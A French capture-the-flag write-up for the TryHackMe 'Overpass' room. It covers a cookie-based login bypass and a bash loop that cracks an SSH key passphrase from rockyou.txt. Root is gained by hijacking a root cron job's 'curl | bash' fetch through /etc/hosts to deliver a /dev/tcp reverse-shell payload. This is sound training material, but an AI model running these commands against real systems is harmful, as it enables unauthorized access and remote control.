# TryHackMe Room overpass

Lien de la room: [TryHackMe | Overpass](https://tryhackme.com/room/overpass)

# Flag user.txt

On débute par un scan nmap. On a juste deux ports ouverts.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746744768060/6b544e65-acb6-443c-8b33-fee9e288c9b0.png align="center")

L’interface web sur le port 80 nous renvoie une page assez basique

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746744860080/7a949893-4c53-4258-b676-6d04013e89c1.png align="center")

La commande `gobuster dir -u 10.10.140.46 -w /usr/share/wordlists/dirb/big.txt` nous donne un répertoire plutôt intéressant.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746746045174/f54b7093-ef23-4e4c-957d-201e365be54e.png align="center")

Il s’agit d’une page de connexion.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746746015553/bce0f15e-f825-449e-8f37-175d01f50616.png align="center")

On tente de l’injection SQL ici. Après avoir envoyé des données aléatoires, je vois qu’une requête POST est envoyée à `http://10.10.140.46/api/login`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746748248311/16c90eaf-6b65-4178-ac8a-b6600445c6fd.png align="center")

On va donc utiliser ffuf vers cette adresse avec une liste de payloads disponible sur [Github](https://github.com/Mehdi0x90/Web_Hacking/blob/main/Login%20Bypass.md).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746749091326/be2f0e59-8a29-46ad-b488-803ccba6ffc2.png align="center")

Mais on a rien comme résultat.

En fouillant un peu plus au niveau de l’inspecteur, on tombe sur un fichier `login.js`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746749139279/c3e49d3a-c516-4d91-8771-9b55152a1488.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746749199562/f1ba126b-8ae4-4b2f-b0bb-d0390a83cef0.png align="center")

En regardant de plus près, le bout de code ci-dessous, on voit qu’il contient une faille plutôt logique.

```javascript
if (statusOrCookie === "Incorrect credentials") {
  // échec
} else {
  // tout le reste = succès → on stocke ce qu’on a reçu comme token
  Cookies.set("SessionToken", statusOrCookie)
  window.location = "/admin"
}
```

Seul le texte `"Incorrect credentials"` est traité comme un échec. Tout autre réponses valident la connexion et redirigent vers `/admin`. On peut donc en tirer parti et modifier manuellement depuis la console du navigateur.

Ensuite au niveau du stockage, on ajoute un nouveau cookie avec le nom “SessionToken“ en lui attribuant n’importe quelle valeur. On recharge ensuite la page.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746797983659/5e9b8b5c-4491-4bc1-9fba-f143c8984cce.png align="center")

On a donc accès à la page admin et on y voir une clé privée, avec un nom d’utilisateur James. On peut donc potentiellement avoir une connection en ssh.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746751041707/3aad40e9-6ed2-4687-9dee-19d0913eb57f.png align="center")

La clé est chiffrée en `AES-128-CBC`. Il va donc falloir en extraire une empreinte exploitable par John the Ripper, cracker la passphrase, puis l’utiliser pour se connecter.

On copie d’abord l’entièreté de la clé débutant par `-----BEGIN RSA PRIVATE KEY-----`. Avec `ssh2john`, on génère le hash.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746752509590/c5503f53-e435-4cbc-813e-718bbf532d08.png align="center")

On le cracke ensuite avec `john`.

🫤Petit blocage ici. L’outil john n’est pas installé sur la machine.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746753164125/de98c60b-f247-4a1c-82e5-dc08834894ef.png align="center")

ChatGPT m’a donc fourni une alternative 😙. Un script permettant de trouver la passphrase de la clé privée.

```bash
#!/bin/bash
KEYFILE="priv_key"
WORDLIST="/usr/share/wordlists/rockyou.txt"

while IFS= read -r pass; do
  # Tente de déchiffrer ; on envoie stdout/stderr vers /dev/null
  openssl rsa -in "$KEYFILE" -passin pass:"$pass" -out /dev/null 2>/dev/null
  if [ $? -eq 0 ]; then
    echo "[+] Passphrase trouvée : $pass"
    exit 0
  fi
done < "$WORDLIST"

echo "[-] Aucune passphrase trouvée dans $WORDLIST"
```

À copier dans un fichier `crack.sh` puis le rendre exécutable avec `chmod +x crack.sh`. Lancer ensuite le script avec `./crack.sh`.

On a maintenant la passphrase 😋. On peut se connecter avec l'utilisateur trouvé un peu plus haut.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746753459960/2325aa1a-4ac5-42ea-a432-9e0aca9dc944.png align="center")

La dernière étape consite à rendre la clé uniquement lisible par le propriétaire, car SSH l’exige

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746798473966/f0d0cfc4-8f90-431e-a933-985e4919f261.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746798493017/411a912f-8f93-4344-bc43-7509ecf41b14.png align="center")

On fait donc `chmod 600 priv_key`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746798538473/4061556a-1e12-4f04-9e5d-eba0d5b9b248.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746798620429/9c18f159-e17b-4124-9e5e-1e5ce7a3e08f.png align="center")

On arrive à se connecter et on le premier flag 🥳.

# Flag root.txt

Dans le répertoire de l’utilisateur `james`, on a un fichier `todo.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746754510029/47eafd9c-09bc-4e60-b382-26a8f6eae6a3.png align="center")

Celui-ci donne des indices plutôt intéressants: Le mot de passe est peut être quelque part dans un fichier? Ou il peut y avoir aussi un password manager? Il suggère aussi de tester overpass pour macOS.

J’ai tenté de rechercher un fichier avec overpass, password, ou password manager. Juste les résultats pour overpass sont intéressants.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746754648566/bf8c6a25-3a67-4507-aa67-aa82ec4aca89.png align="center")

On a un binaire `/usr/bin/overpass` et un fichier `/.overpass`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746798840302/912f151f-fad6-4051-ac7e-ff602962bd19.png align="center")

On cherche aussi l’utilitaire crontab qui permet de planifier l’exécution de tâches ou scripts de manière périodique. On voit que la commande `curl overpass.thm/downloads/src/buildscript.sh | bash` s’exécute chaque minute. Il télécharge le script `buildscript.sh` depuis `overpass.thm/downloads/src/` avec `curl` puis l’exécute avec `bash`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746799003104/9304c38b-a110-4a32-a139-a08f4ddaf91c.png align="center")

On voit aussi que overpass.thm pointe vers la machine même(localhost). Donc si on lance un serveur HTTP sur le port 80 sur notre machine Kali, on contrôle totalement ce que root télécharge et exécute. On peut ensuite modifier le fichier `/etc/hosts` du serveur cible et la pointer vers notre machine Kali.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746805182225/16d5678f-c487-4c0e-a9b1-fd4b87a448ca.png align="center")

Première étape, on crée un répertoire identique à ce qui est exécuté sur la machine cible soit `/downloads/src/`. On y créé ensuite un fichier `buildscript.sh` qui contient le reverse shell. Vous pouvez utiliser [Online - Reverse Shell Generator](https://www.revshells.com/) pour créer votre reverse shell.

```bash
#!/bin/bash
/bin/bash -i >& /dev/tcp/IP_MACHINE_KALI/4444 0>&1
```

Prochaine étape serait de créée un serveur python sur la machine Kali sur le port 80 et un écouteur sur le port 4444

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746916553451/4fe51335-ba7f-4356-adce-3da404ac443f.png align="center")

On retourne ensuite modifier le fichier `/etc/hosts` pour faire pointer `overpass.thm` vers l’adresse IP de la machine Kali.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746831767156/ec8e8e12-ae7b-483f-bdb9-e7c0ff91e089.png align="center")

On patiente alors une minute pour que la tâche s’exécute à nouveau, et on a le shell sur notre machine Kali.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746916685295/a8febd45-4fed-4ff9-8686-f7273dd51a74.png align="center")

On a le flag 🥳

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1746916744381/05ca9e8f-e9e0-434a-a89e-51355784c1f5.png align="center")
